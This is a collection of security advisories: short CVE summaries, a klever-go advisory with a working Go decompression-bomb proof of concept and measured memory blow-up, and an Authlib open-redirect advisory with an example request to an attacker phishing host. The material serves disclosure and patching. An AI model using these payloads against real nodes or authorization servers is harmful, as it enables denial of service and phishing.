CVEs

Improper input validation in Routines prior to SMR May-2026 Release 1 allows physical attackers to launch privileged activity.

Improper export of android application components in OmaCP prior to SMR May-2026 Release 1 allows local attackers to trigger privileged functions.

Improper input validation in FacAtFunction in Galaxy Watch prior to SMR May-2026 Release 1 allows local attacker to execute arbitrary code with system privilege.

Out-of-bounds write in SveService prior to SMR May-2026 Release 1 allows local privileged attackers to execute arbitrary code.

Incorrect privilege assignment in LocationManager prior to SMR May-2026 Release 1 allows local attackers to access sensitive information.

Incorrect default permissions in FactoryCamera prior to SMR May-2026 Release 1 allows local attacker to access unique identifier.

The ilGhera Support System for WooCommerce plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the 'get_ticket_content_callback' function in all versions up to, and including, 1.3.0. This makes it possible for unauthenticated attackers to view any support ticket content, including sensitive customer information and private communications, by providing a ticket ID.

Hitachi Vantara Pentaho Data Integration & Analytics of all versions contain a JDBC driver for H2 databases which is vulnerable to external script execution when a new connection is created by a data source administrator.

The coreActivity: Activity Logging for WordPress plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 3.0. This is due to the plugin failing to validate or strip PHP serialization syntax from the User-Agent HTTP header before storing it in the logmeta table, and subsequently calling `maybe_unserialize()` on every retrieved `meta_value` in `query_metas()` without verifying the data was originally serialized by the application. This makes it possible for unauthenticated attackers to inject a crafted PHP serialized payload via the User-Agent header during any logged event (such as a failed login attempt), which, when an administrator views the Logs page, is deserialized and passed to `DeviceDetector::setUserAgent()`, triggering a Fatal TypeError that creates a persistent Denial of Service condition blocking administrator access to the Logs page entirely.

The Charitable – Donation Plugin for WordPress – Fundraising with Recurring Donations & More plugin for WordPress is vulnerable to generic SQL Injection via the 's' parameter in all versions up to, and including, 1.8.10.4 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with access to the donation management admin area (requiring the edit_others_donations capability) and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

The Blog2Social: Social Media Auto Post & Scheduler plugin for WordPress is vulnerable to Missing Authorization in all versions up to, and including, 8.9.0. This is due to a missing ownership verification in the B2S_Post_Tools::deleteUserPublishPost() and B2S_Post_Tools::deleteUserSchedPost() functions, neither function includes a blog_user_id constraint in its database query, allowing authenticated attackers to soft-delete any user's B2S post records by supplying arbitrary sequential wp_b2s_posts.id values via the 'postId' parameter. This makes it possible for authenticated attackers to delete other users' published and scheduled social media post records, disrupting content publishing workflows.

The Cost of Goods: Product Cost & Profit Calculator for WooCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'alg_wc_cog_product_cost' and 'alg_wc_cog_product_profit' shortcodes in all versions up to, and including, 4.1.0 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

The Fluent Forms – Customizable Contact Forms, Survey, Quiz, & Conversational Form Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'permission_message' parameter in all versions up to, and including, 6.2.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

The Broadstreet plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 1.53.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.

The Broadstreet plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on the create_advertiser AJAX action in all versions up to, and including, 1.53.1. This makes it possible for authenticated attackers, with Subscriber-level access and above, to create advertisers.

The Broadstreet plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 1.53.1 via the get_sponsored_meta() AJAX action. This makes it possible for authenticated attackers, with subscriber-level access and above, to extract data from password protected and private business details.

The Cost Calculator Builder plugin for WordPress is vulnerable to Unauthenticated Price Manipulation and Insecure Direct Object Reference (IDOR) in all versions up to, and including, 4.0.1 only when used in combination with Cost Calculator Builder PRO. This is due to the ccb_woocommerce_payment AJAX action being registered via wp_ajax_nopriv, making it accessible to unauthenticated users, and the renderWooCommercePayment() function passing user-controlled data directly to CCBWooCheckout::init() without authorization checks. This makes it possible for unauthenticated attackers to add WooCommerce products to their cart with attacker-controlled prices.

After invoking $_internalJsEmit, which is not intended to be directly accessible, or mapreduce command’s map function in a certain way, an authenticated user can subsequently crash mongod when the server-side JavaScript engine (through $where, $function, mapreduce reduce stage, etc.) is used also in a specific way, resulting in a post-authentication denial-of-service. This issue impacts MongoDB Server v8.2 versions prior to 8.2.9 and v8.3 versions prior to 8.3.2.

Using a densely populated chars mask and a large input string in the MongoDB aggregation operators $trim, $ltrim, and $rtrim, an authenticated user with aggregation permissions can pin CPU utilization at 100% for an extended period of time. This issue impacts MongoDB Server v7.0 versions prior to 7.0.34, v8.0 versions prior to 8.0.23, v8.2 versions prior to 8.2.9 and v8.3 versions prior to 8.3.2.

A use-after-free vulnerability exists in MongoDB's Field-Level Encryption (FLE) query analysis component, affecting client-side uses of mongocryptd and crypt_shared. Triggering this vulnerability requires control over the structure of a client's FLE-related query. This issue impacts MongoDB Server’s mongocryptd component v7.0 versions prior to 7.0.34, v8.0 versions prior to 8.0.23, v8.2 versions prior to 8.2.9 and v8.3 versions prior to 8.3.2.

When schema validation is enabled on a collection and an update or insert would violate the collection's schema, the local server log message generated may not have all user data redacted.  This issue impacts MongoDB Server v7.0 versions prior to 7.0.34, v8.0 versions prior to 8.0.23, v8.2 versions prior to 8.2.9 and v8.3 versions prior to 8.3.2.

An authenticated user can cause excess memory usage via bitwise match expression AST processing of $bitsAllSet, $bitsAnySet, $bitsAllClear, and $bitsAnyClear. This contributes to memory pressure and may lead to availability loss by OOM. This issue impacts MongoDB Server v7.0 versions prior to 7.0.34, v8.0 versions prior to 8.0.23, v8.2 versions prior to 8.2.9 and v8.3 versions prior to 8.3.2.

An issue in MongoDB Server's time-series collection implementation allows an authenticated user with database write privileges to trigger an out-of-bounds memory write in the mongod process. The issue results from an inconsistency in the internal field-name-to-index mapping within the time-series bucket catalog. Under certain conditions this can result in arbitrary code execution. This issue impacts MongoDB Server v5.0 versions prior to 5.0.33, v6.0 versions prior to 6.0.28, v7.0 versions prior to 7.0.34, v8.0 versions prior to 8.0.23, v8.2 versions prior to 8.2.9 and v8.3 versions prior to 8.3.2.

Successful exploitation of the SQL injection vulnerability could allow a remote authenticated attacker to execute arbitrary commands via a specific interface, potentially enabling the attacker to access, modify, or delete sensitive information within the database.

An untrusted pointer dereference in the ionic cloud driver for VMWare ESXi could allow an attacker with an unprivileged VM to read kernel memory or co-located guest VM memory, potentially resulting in loss of confidentiality or availability.

A heap-based buffer overflow in the ionic cloud driver for VMware ESXi could allow an attacker to achieve privilege escalation, potentially resulting in arbitrary code execution.

A heap-based buffer overflow in the ionic cloud driver for VMware ESXi could allow an attacker to achieve privilege escalation, potentially resulting in arbitrary code execution.

Missing lock bit protection for NBIO registers could allow a local admin-privileged attacker to gain arbitrary System Management Network (SMN) access, potentially resulting in arbitrary code execution in AMD Secure Processor (ASP) and loss of the SEV-SNP guest's confidentiality and integrity.

Missing lock bit protection for NBIO registers could allow a local admin-privileged attacker to modify MMIO routing configurations, potentially resulting in loss of SEV-SNP guest integrity.

Improper enforcement of the LFENCE serialization property may allow an attacker to bypass speculation barriers and potentially disclose sensitive information, potentially resulting in loss of confidentiality.

### Overview A critical authentication vulnerability was identified in OpenLearnX that could allow unauthorized access to user accounts under specific conditions. The issue has been fixed. **Advisory**: https://github.com/th30d4y/OpenLearnX/security/advisories/GHSA-223g-f5mq-gw33

## Summary A remote, unauthenticated denial-of-service vulnerability in `Batch.Decompress` (`data/batch/batch.go`) allows any peer that participates in a topic served by `MultiDataInterceptor` to allocate multi-gigabyte heaps on the receiving node from a sub-50 KiB gossip payload. A single packet is sufficient to OOM-kill a validator with conventional memory provisioning. Fleet-wide application affects chain liveness. The vulnerability was identified during an internal security review of `core/process/interceptors/multiDataInterceptor.go` at commit `405d01b0abbf0d3e73b4a990bd7394a01f200dc2`. It is distinct from, and substantially more severe than, the throttler-slot-leak vulnerability disclosed in `GHSA-74m6-4hjp-7226`. Both reports cover adjacent code in the same call path; the patches must land together in one release (rc2 superseding rc1). Two additional, lower-severity hardening issues affecting the same code path are documented in this report and remediated by the same patch. They are not independently exploitable under the default deployed anti-flood configuration and are not requested as separate CVEs. ## Description `MultiDataInterceptor.ProcessReceivedMessage` (`core/process/interceptors/multiDataInterceptor.go:79`) handles every gossip message received on the topics the interceptor is registered for. At lines 95–102 it conditionally decompresses the payload via `Batch.Decompress`: ```go if b.IsCompressed { err = b.Decompress(mdi.marshalizer) if err != nil { ... return err } } ``` `Batch.Decompress` (`data/batch/batch.go:109`) delegates the gzip step to `decompressGzip` (`data/batch/batch.go:35-53`), which performs an unbounded `io.ReadAll` on the gzip reader: ```go func decompressGzip(data []byte) ([]byte, error) { rdata := bytes.NewReader(data) reader, err := gzip.NewReader(rdata) if err != nil { return nil, err } result, err := io.ReadAll(reader) // no LimitReader, no DataSize check ... } ``` After the gzip step succeeds, `Decompress` re-`Unmarshal`s the inflated bytes back into the `Batch` value, again with no size cap. The attacker-set `ba.DataSize` field is never validated on decompression, so the lie is free. The order of operations in `ProcessReceivedMessage`: ``` preProcessMessage -> anti-flood by COMPRESSED size only marshalizer.Unmarshal(&b, ..) -> outer Batch (small, cheap) b.Decompress(...) -> UNBOUNDED here (bomb explodes) ... b.Data populated with N entries ... antiflood.CanProcessMessagesOnTopic(..., uint32(len(b.Data)), ...) ``` The count-budget anti-flood check at line 111 runs *after* `Decompress` completes, so no anti-flood configuration can prevent the explosion. The only gate above `Decompress` is `preProcessMessage`'s byte budget, which sees only the *compressed* payload size and is trivially satisfied by a sub-MB bomb. ## Proof of Concept The PoC is a self-contained Go test that exercises the real `data/batch.Batch.Decompress` function and the production `factory.ProtoMarshalizer`. No mocks. Both the attacker-side construction (marshal a `Batch` of millions of empty entries, gzip, wrap in an outer compressed `Batch`) and the receiver-side path (`mrs.Unmarshal` → `received.Decompress(mrs)`) are exactly what runs in production at the reviewed commit. The headline test (`TestC2_DecompressionBomb_ValidInner`) constructs a ~48 KiB outer wire payload that decompresses to 25 million `[]byte` entries, and samples `runtime.HeapAlloc` every 5 ms during `Decompress` to capture the peak (since the inflated buffer is freed once `Decompress` returns). ### Test source Place the file under `playground/p2pflood/c2_decompression_bomb_test.go` in a checkout of the reviewed commit, then run: ``` go test -v -count=1 -timeout=120s -run TestC2 ./playground/p2pflood/... ``` ```go package p2pflood_test import ( "bytes" "compress/gzip" "runtime" "sync/atomic" "testing" "time" "github.com/klever-io/klever-go/data/batch" "github.com/klever-io/klever-go/tools/marshal/factory" ) const inflatedSize = 256 << 20 // 256 MiB // buildGzipOfZeros: streams `size` zero bytes through a gzip writer. // A real attacker produces this offline; the streaming form here keeps // the test's own attacker-side allocation small. func buildGzipOfZeros(t *testing.T, size int) []byte { t.Helper() var buf bytes.Buffer gz := gzip.NewWriter(&buf) chunk := make([]byte, 1<<20) for written := 0; written < size; { n := len(chunk) if size-written < n { n = size - written } if _, err := gz.Write(chunk[:n]); err != nil { t.Fatalf("gzip write: %v", err) } written += n } if err := gz.Close(); err != nil { t.Fatalf("gzip close: %v", err) } return buf.Bytes() } // peakHeapDuring samples runtime.HeapAlloc every 5 ms during fn() and // returns (peak, baseline). In-flight sampling is required because // Decompress's internal allocations may be reclaimed by GC before the // function returns. func peakHeapDuring(fn func()) (peak, baseline uint64) { runtime.GC() var ms runtime.MemStats runtime.ReadMemStats(&ms) baseline = ms.HeapAlloc var stop atomic.Bool peakPtr := new(atomic.Uint64) peakPtr.Store(baseline) done := make(chan struct{}) go func() { ticker := time.NewTicker(5 * time.Millisecond) defer ticker.Stop() var s runtime.MemStats for !stop.Load() { runtime.ReadMemStats(&s) cur := s.HeapAlloc for { old := peakPtr.Load() if cur <= old || peakPtr.CompareAndSwap(old, cur) { break } } <-ticker.C } close(done) }() fn() stop.Store(true) <-done return peakPtr.Load(), baseline } // TestC2_DecompressionBomb_RawZeros: floor-of-attack demonstration. // All-zeros inflated payload; inner Unmarshal-after-decompress fails, // but the gzip output buffer is already allocated. func TestC2_DecompressionBomb_RawZeros(t *testing.T) { mrs, err := factory.NewMarshalizer(factory.ProtoMarshalizer) if err != nil { t.Fatalf("marshalizer: %v", err) } bombStream := buildGzipOfZeros(t, inflatedSize) bomb := &batch.Batch{ IsCompressed: true, Algo: batch.CType_GZip, Stream: bombStream, DataSize: 1, // a lie — Decompress ignores it } wire, err := mrs.Marshal(bomb) if err != nil { t.Fatalf("marshal: %v", err) } t.Logf(" wire payload (after Marshal): %d bytes (%.2f KiB)", len(wire), float64(len(wire))/1024.0) t.Logf(" advertised DataSize: %d", bomb.DataSize) t.Logf(" actual decompressed size: %d bytes (%.2f MiB)", inflatedSize, float64(inflatedSize)/(1<<20)) bomb = nil bombStream = nil runtime.GC() received := &batch.Batch{} if err := mrs.Unmarshal(received, wire); err != nil { t.Fatalf("receiver outer unmarshal: %v", err) } if !received.IsCompressed { t.Fatalf("expected IsCompressed=true after outer unmarshal") } start := time.Now() var decompressErr error peak, baseline := peakHeapDuring(func() { decompressErr = received.Decompress(mrs) }) elapsed := time.Since(start) allocated := peak - baseline amp := float64(allocated) / float64(len(wire)) t.Logf(" Decompress error: %v (irrelevant — heap already allocated)", decompressErr) t.Logf(" peak heap during Decompress: +%d bytes (%.2f MiB)", allocated, float64(allocated)/(1<<20)) t.Logf(" elapsed: %v", elapsed) t.Logf(" amplification: %.0fx (wire -> heap)", amp) if allocated < uint64(inflatedSize/2) { t.Fatalf("heap delta only %.2f MiB — vuln may already be patched", float64(allocated)/(1<<20)) } if amp < 100 { t.Fatalf("amplification only %.1fx — expected >>100x", amp) } } // TestC2_DecompressionBomb_ValidInner: realistic ceiling — gzip stream // decompresses to a valid marshaled Batch with N=25M empty entries. // Decompress's internal Unmarshal succeeds and additionally allocates // the [][]byte slice. All before any count-based anti-flood runs. func TestC2_DecompressionBomb_ValidInner(t *testing.T) { mrs, err := factory.NewMarshalizer(factory.ProtoMarshalizer) if err != nil { t.Fatalf("marshalizer: %v", err) } const N = 25_000_000 innerBatch := &batch.Batch{Data: make([][]byte, N)} innerWire, err := mrs.Marshal(innerBatch) if err != nil { t.Fatalf("inner marshal: %v", err) } innerBatch = nil runtime.GC() var compressed bytes.Buffer gz := gzip.NewWriter(&compressed) if _, err := gz.Write(innerWire); err != nil { t.Fatalf("gz write: %v", err) } if err := gz.Close(); err != nil { t.Fatalf("gz close: %v", err) } innerWireLen := len(innerWire) innerWire = nil runtime.GC() bomb := &batch.Batch{ IsCompressed: true, Algo: batch.CType_GZip, Stream: compressed.Bytes(), DataSize: 1, } wire, err := mrs.Marshal(bomb) if err != nil { t.Fatalf("outer marshal: %v", err) } t.Logf(" inner wire (uncompressed): %d bytes (%.2f MiB)", innerWireLen, float64(innerWireLen)/(1<<20)) t.Logf(" outer wire (gzip-wrapped): %d bytes (%.2f KiB)", len(wire), float64(len(wire))/1024.0) t.Logf(" inner -> outer compression: %.0fx", float64(innerWireLen)/float64(len(wire))) bomb = nil compressed.Reset() runtime.GC() received := &batch.Batch{} if err := mrs.Unmarshal(received, wire); err != nil { t.Fatalf("receiver outer unmarshal: %v", err) } start := time.Now() var decompressErr error peak, baseline := peakHeapDuring(func() { // Mirrors multiDataInterceptor.go:96 exactly. Runs BEFORE the // count-budget anti-flood at line 111. decompressErr = received.Decompress(mrs) }) elapsed := time.Since(start) allocated := peak - baseline amp := float64(allocated) / float64(len(wire)) t.Logf(" Decompress returned: %v", decompressErr) t.Logf(" Decompressed b.Data length: %d (matches N=%d? %v)", len(received.Data), N, len(received.Data) == N) t.Logf(" peak heap during Decompress: +%d bytes (%.2f MiB)", allocated, float64(allocated)/(1<<20)) t.Logf(" elapsed: %v", elapsed) t.Logf(" amplification: %.0fx (wire -> heap)", amp) if decompressErr != nil { t.Fatalf("Decompress unexpectedly failed: %v", decompressErr) } if len(received.Data) != N { t.Fatalf("inner Unmarshal lost entries: got %d want %d", len(received.Data), N) } if allocated < 256<<20 { t.Fatalf("heap delta only %.2f MiB — expected >256 MiB", float64(allocated)/(1<<20)) } runtime.KeepAlive(received) } ``` ### Measured output Apple-silicon dev machine, `go 1.25`, against commit `405d01b0abbf0d3e73b4a990bd7394a01f200dc2`: ``` === RUN TestC2_DecompressionBomb_RawZeros wire payload (after Marshal): 260938 bytes (254.82 KiB) advertised DataSize: 1 actual decompressed size: 268435456 bytes (256.00 MiB) Decompress error: proto: cannot parse invalid wire-format data (irrelevant — heap already allocated) peak heap during Decompress: +887994584 bytes (846.86 MiB) elapsed: 155.79ms amplification: 3403x (wire -> heap) --- PASS: TestC2_DecompressionBomb_RawZeros (0.52s) === RUN TestC2_DecompressionBomb_ValidInner inner wire (uncompressed): 50000000 bytes (47.68 MiB) outer wire (gzip-wrapped): 48642 bytes (47.50 KiB) inner -> outer compression: 1028x Decompress returned: <nil> Decompressed b.Data length: 25000000 (matches N=25000000? true) peak heap during Decompress: +2218262232 bytes (2115.50 MiB) elapsed: 582.92ms amplification: 45604x (wire -> heap) --- PASS: TestC2_DecompressionBomb_ValidInner (0.75s) ``` Reproduction: any commit that includes `data/batch/batch.go` in its current `decompressGzip`/`Decompress` form. The PoC does not depend on libp2p, the live interceptor stack, or any deployed configuration — the bug is in `Batch.Decompress` itself; any caller that reaches it pays for the unbounded allocation. The PoC sources (along with a companion test for the bundled slice-prealloc finding) live under `playground/p2pflood/` on the maintainer's local workstation and have not been pushed to any branch. They will be converted into a regression-test suite alongside the patch in the private fork. ## Impact A single connected peer publishing on a topic served by `MultiDataInterceptor` (which on a public chain includes any anonymous gossip publisher) can cause the receiving node to allocate 2+ GiB of heap in under one second per packet. With the default deployed configuration (`peerMaxInput.totalSizePerInterval: 4194304` = 4 MiB/s per peer), an attacker can ship roughly 80 such bombs per second per connected peer before tripping the per-peer byte budget. The per-peer message count limit (`baseMessagesPerInterval: 140` per fastReacting interval, 1000 before blacklisting) is high enough to permit the attack to run for several seconds before any blacklist activates. By that point the node process is already OOM-killed. Realistic attack scenarios: * A single attacker connected to one validator can OOM that validator in under a second (one bomb suffices on memory-constrained nodes). * A small number of malicious peers spread across the validator fleet can OOM the entire fleet within a single block-production interval, affecting chain liveness. * Eclipse-attack composition: the cost is paid before any peer reputation logic runs, so the attack works regardless of whether the receiver attributes the message to originator or relayer. ## Affected Code * `data/batch/batch.go:35-53` — `decompressGzip`, unbounded `io.ReadAll` * `data/batch/batch.go:109-137` — `Batch.Decompress`, ignores `DataSize`, re-`Unmarshal`s inflated bytes * `core/process/interceptors/multiDataInterceptor.go:95-102` — call site * `core/process/interceptors/multiDataInterceptor.go:84-94` — preceding `Unmarshal` step ## Patches A patch is in preparation on a private branch and will land in rc2, together with the fix for `GHSA-74m6-4hjp-7226`. The intended fix shape: ```go const maxInflatedBatch = 64 * 1024 * 1024 // 64 MiB hard ceiling; tune per topic func decompressGzip(data []byte, max int64) ([]byte, error) { r, err := gzip.NewReader(bytes.NewReader(data)) if err != nil { return nil, err } defer r.Close() lr := io.LimitReader(r, max+1) out, err := io.ReadAll(lr) if err != nil { return nil, err } if int64(len(out)) > max { return nil, ErrDecompressionTooLarge } return out, nil } func (ba *Batch) Decompress(m marshal.Marshalizer) error { if !ba.IsCompressed { return common.ErrNotCompressed } if ba.DataSize > maxInflatedBatch { return ErrDecompressionTooLarge } result, err := decompressGzip(ba.Stream, maxInflatedBatch) if err != nil { return err } if int64(len(result)) != int64(ba.DataSize) && ba.DataSize > 0 { return ErrDecompressedSizeMismatch } if err := m.Unmarshal(ba, result); err != nil { return err } ba.Stream, ba.IsCompressed = nil, false return nil } ``` The cap value should be selected per topic. A 64 MiB ceiling preserves backward compatibility for legitimate large batches while reducing the worst-case allocation by ≈30× relative to the measured PoC and ≈400× relative to the upper bound of an uncapped attack. A regression test based on the PoC will accompany the patch. ## Workarounds None at the configuration level. The `peerMaxInput.totalSizePerInterval` budget could theoretically be lowered, but as the PoC measurements show, a single bomb is already lethal on memory-constrained nodes. Patch is required. ## Bundled Hardening (no separate CVE) The following two issues were identified in the same call path during the review. They are not independently exploitable under the default deployed `defaultMaxMessagesPerSec: 35000` per-topic anti-flood limit and so do not warrant their own CVEs. They are remediated by the same patch as the headline vulnerability and are documented here for transparency. ### Bundled #1 — Slice pre-allocation amplification (CWE-789, CWE-770) `multiDataInterceptor.go:123` performs: ```go listInterceptedData := make([]process.InterceptedData, len(multiDataBuff)) ``` `len(multiDataBuff)` is `len(b.Data)` after `Unmarshal` and `Decompress`, both of which are attacker-controlled. Under the default per-topic count budget this is bounded; a deployer who loosens that budget, or any future code path that bypasses it, would expose ≈16 bytes × attacker-chosen-N of allocation. The same patch caps `len(b.Data)` immediately after `Unmarshal`, again after `Decompress`, and before the make. The unconditional component of this finding — that `Decompress`'s internal `Unmarshal` populates `b.Data` with N `[]byte` slice headers (24 B each) before any count-budget check runs — is captured by the headline finding's PoC. ### Bundled #2 — Self-message anti-flood bypass (CWE-290, CWE-693) `baseDataInterceptor.go:32` exempts messages from anti-flood enforcement when: ```go bytes.Equal(m.Signature(), m.From()) && bytes.Equal(m.From(), bdi.currentPeerID.Bytes()) && fromConnectedPeer == bdi.currentPeerID ``` The first equality is a sentinel byte comparison, not a cryptographic check. Exploitability depends on whether the upstream libp2p stack verifies envelope signatures before reaching `preProcessMessage`. The patch replaces the sentinel with a defense-in-depth check and ensures throttler accounting still runs on the self-message path. ## Coordination with `GHSA-74m6-4hjp-7226` The maintainer team is concurrently handling `GHSA-74m6-4hjp-7226`, which discloses an adjacent throttler-slot-leak finding in the same `ProcessReceivedMessage` function. The two CVEs are independently fixable per CNA Operational Rules, but operationally the patches must land in one release. rc2 will supersede rc1 and contain fixes for both advisories. Validators upgrade once. ## Credits Fernando Sobreira (maintainer, internal security review). ## References * Reviewed commit: `405d01b0abbf0d3e73b4a990bd7394a01f200dc2` * Related advisory: `GHSA-74m6-4hjp-7226` * CWE-409: https://cwe.mitre.org/data/definitions/409.html * CWE-770: https://cwe.mitre.org/data/definitions/770.html

### Summary An unauthenticated open redirect in Authlib's `OpenIDImplicitGrant` and `OpenIDHybridGrant` authorization endpoint lets a remote attacker cause the authorization server to issue an HTTP 302 to an attacker-chosen URL by submitting an authorization request that omits the `openid` scope. ### Details #### Vulnerable code `OpenIDImplicitGrant.validate_authorization_request` in `authlib/oidc/core/grants/implicit.py`: ```python def validate_authorization_request(self): if not is_openid_scope(self.request.payload.scope): raise InvalidScopeError( "Missing 'openid' scope", redirect_uri=self.request.payload.redirect_uri, # ← raw, unvalidated redirect_fragment=True, ) redirect_uri = super().validate_authorization_request() ... ``` `OpenIDHybridGrant.validate_authorization_request` in `authlib/oidc/core/grants/hybrid.py` shares the same pattern. #### Root cause Both methods perform the `openid` scope presence check before delegating to `super().validate_authorization_request()`, which is where `AuthorizationEndpointMixin.validate_authorization_redirect_uri` validates the requested `redirect_uri` against the client's `check_redirect_uri(...)`. The `InvalidScopeError` thrown by the scope check therefore carries attacker-controlled `self.request.payload.redirect_uri`. `OAuth2Error.__call__` in `authlib/oauth2/base.py` renders any error with a non-empty `redirect_uri` as an HTTP 302: ```python def __call__(self, uri=None): if self.redirect_uri: params = self.get_body() loc = add_params_to_uri(self.redirect_uri, params, self.redirect_fragment) return 302, "", [("Location", loc)] return super().__call__(uri=uri) ``` A malformed authorization request that selects `OpenIDImplicitGrant` or `OpenIDHybridGrant` and omits the `openid` scope is therefore redirected to a fully attacker-chosen URL. This is a variant of the issue fixed in commit [`3be08468`](https://github.com/authlib/authlib/commit/3be08468) ("fix: redirecting to unvalidated `redirect_uri` on `UnsupportedResponseTypeError`") that was missed in the OIDC Implicit and Hybrid grants. #### Preconditions 1. The server registers `OpenIDImplicitGrant` or `OpenIDHybridGrant` (standard OIDC Implicit or Hybrid flow support). 2. The attacker's request uses a `response_type` that matches either grant: `id_token`, `id_token token`, `code id_token`, `code token`, or `code id_token token`. 3. `scope` does not contain `openid`. 4. Any `redirect_uri` value. No user authentication, no consent, no valid session, no CSRF token, and — notably — no valid `client_id` are required. The scope check runs before any client lookup, so any `client_id` value (including nonexistent ones) reaches the vulnerable code path. ### PoC The following unauthenticated GET is sufficient to induce the authorization server to redirect a victim's browser to an attacker-controlled URL: ``` GET /oauth/authorize ?response_type=id_token &client_id=anything &scope=profile &redirect_uri=https%3A%2F%2Fevil.example.com%2Fphish &state=s&nonce=n HTTP/1.1 Host: victim-op.example ``` Server response: ``` HTTP/1.1 302 Found Location: https://evil.example.com/phish#error=invalid_scope&error_description=Missing+%27openid%27+scope&state=s ``` ### Impact - Open redirect from a trusted authorization server origin. Victims receiving a phishing link see the legitimate OIDC provider's domain in the URL bar at the moment they click. The authorization server itself issues the 302 to the attacker's page, lending the attacker's landing page the OP's reputation and potentially satisfying domain-allow-list controls that trust the OP. - Phishing / credential harvesting leverage. The attacker's page can mimic the legitimate OP's consent screen or a relying-party error page to solicit credentials, MFA codes, or to continue a downstream confused-deputy attack. - RFC violation. RFC 6749 §4.1.2.1 and RFC 9700 (OAuth 2.0 Security BCP) §4.11 both state that an authorization server MUST NOT perform redirection to a `redirect_uri` that has not been validated against the client's registered URIs, even in error responses. The `state` parameter is echoed back, giving the attacker site a stable correlator. - No direct token/code leak. This flaw fires before any authorization decision, so no authorization codes, ID tokens, or access tokens are disclosed. The impact is limited to open-redirect phishing leverage. Combined with other issues (e.g., downstream SSO trust chains) it may contribute to account-takeover chains; on its own it is a Medium-severity open redirect. #### Affected deployments Any application using Authlib as an OIDC provider that registers `OpenIDImplicitGrant` and/or `OpenIDHybridGrant` — i.e. anyone supporting the Implicit flow or the Hybrid flow (`response_type=code id_token`, etc.) — is affected. Clients of an Authlib-based OP are not directly affected; this is a server-side issue. Authorization servers that only register the plain `AuthorizationCodeGrant` (code flow, with or without PKCE and the `OpenIDCode` extension) are not affected by this specific variant: the code-flow grant validates `redirect_uri` before raising scope errors. If you were affected by the sibling issue fixed in `3be08468` (`UnsupportedResponseTypeError`), you should already be on `1.6.10` or later; this advisory is independent of that fix. ### Suggested fix The attached `fix-oidc-open-redirect.patch` reorders each method to delegate to its super (or call `validate_code_authorization_request` for Hybrid) first, and then performs the `openid`-scope check with the validated `redirect_uri` variable. ```python # authlib/oidc/core/grants/implicit.py def validate_authorization_request(self): redirect_uri = super().validate_authorization_request() # runs client + redirect_uri validation if not is_openid_scope(self.request.payload.scope): raise InvalidScopeError( "Missing 'openid' scope", redirect_uri=redirect_uri, # validated redirect_fragment=True, ) try: validate_nonce(self.request, self.exists_nonce, required=True) except OAuth2Error as error: error.redirect_uri = redirect_uri error.redirect_fragment = True raise error return redirect_uri ``` An equivalent transform is applied to `OpenIDHybridGrant.validate_authorization_request`, invoking `validate_code_authorization_request` first and only then checking `is_openid_scope`. Alternatively, inline a `client = query_client(request.payload.client_id)` + `client.check_redirect_uri(request.payload.redirect_uri)` guard before populating `redirect_uri` on the error — the pattern used in `3be08468`. The patch also adds regression tests analogous to `test_unsupported_response_type_does_not_redirect` from commit `3be08468`, asserting `rv.status_code == 400` and `rv.headers.get("Location") is None` for an unregistered `redirect_uri` with a non-`openid` scope. ### Workarounds No clean server-side workaround exists short of patching. Partial mitigations: - Unregister `OpenIDImplicitGrant` and `OpenIDHybridGrant` if the Implicit and Hybrid flows are not required. (RFC 9700 deprecates the Implicit flow and discourages Hybrid flows, so this is recommended anyway.) - Front the `/authorize` endpoint with a reverse proxy rule that rejects requests containing both a `redirect_uri` parameter and a `scope` that does not include `openid` when `response_type` matches the vulnerable set. This is fragile and not recommended as a primary control. ### References - RFC 6749, §4.1.2.1 — Error Response (OAuth 2.0 authorization endpoint) - RFC 9700, §4.11 — Redirect URI validation - OpenID Connect Core 1.0, §3.2.2.6 / §3.3.2.6 — Authentication Error Response - Authlib commit [`3be08468`](https://github.com/authlib/authlib/commit/3be08468) — prior fix for the same class of issue in `UnsupportedResponseTypeError` (Authlib 1.6.10) - Authlib source (by symbol; verified in commit `5d2e603e`): - `OpenIDImplicitGrant.validate_authorization_request` — `authlib/oidc/core/grants/implicit.py` - `OpenIDHybridGrant.validate_authorization_request` — `authlib/oidc/core/grants/hybrid.py` - `OAuth2Error.__call__` — `authlib/oauth2/base.py` (renders errors with `redirect_uri` as HTTP 302) - `AuthorizationEndpointMixin.validate_authorization_redirect_uri` — `authlib/oauth2/rfc6749/grants/base.py` (the validation that is bypassed)

### Impact The attacker can execute arbitrary code without being authenticated ### Mitigation Upgrade to a patched version (please check affected/patched version matrix) ### Credits Bug Bounty of Canton du Jura

The installation of Fuji Tellus adds a driver to the kernel which grants all users read and write permissions.

The MonsterInsights – Google Analytics Dashboard for WordPress (Website Stats Made Easy) plugin for WordPress is vulnerable to unauthorized access and modification of data due to a missing capability checks on the get_ads_access_token() and reset_experience() functions in all versions up to, and including, 10.1.2. This makes it possible for authenticated attackers, with Subscriber-level access and above, to retrieve live Google OAuth access tokens and reset Plugins's Google Ads integration.

ChurchCRM is an open-source church management system. Prior to 7.3.2, top-level cross-site GET navigation from an attacker-controlled page to FundRaiserDelete.php, PropertyTypeDelete.php, or NoteDelete.php causes a logged-in ChurchCRM user with the relevant role to silently delete records, including cascaded property and record-to-property assignments. This vulnerability is fixed in 7.3.2.

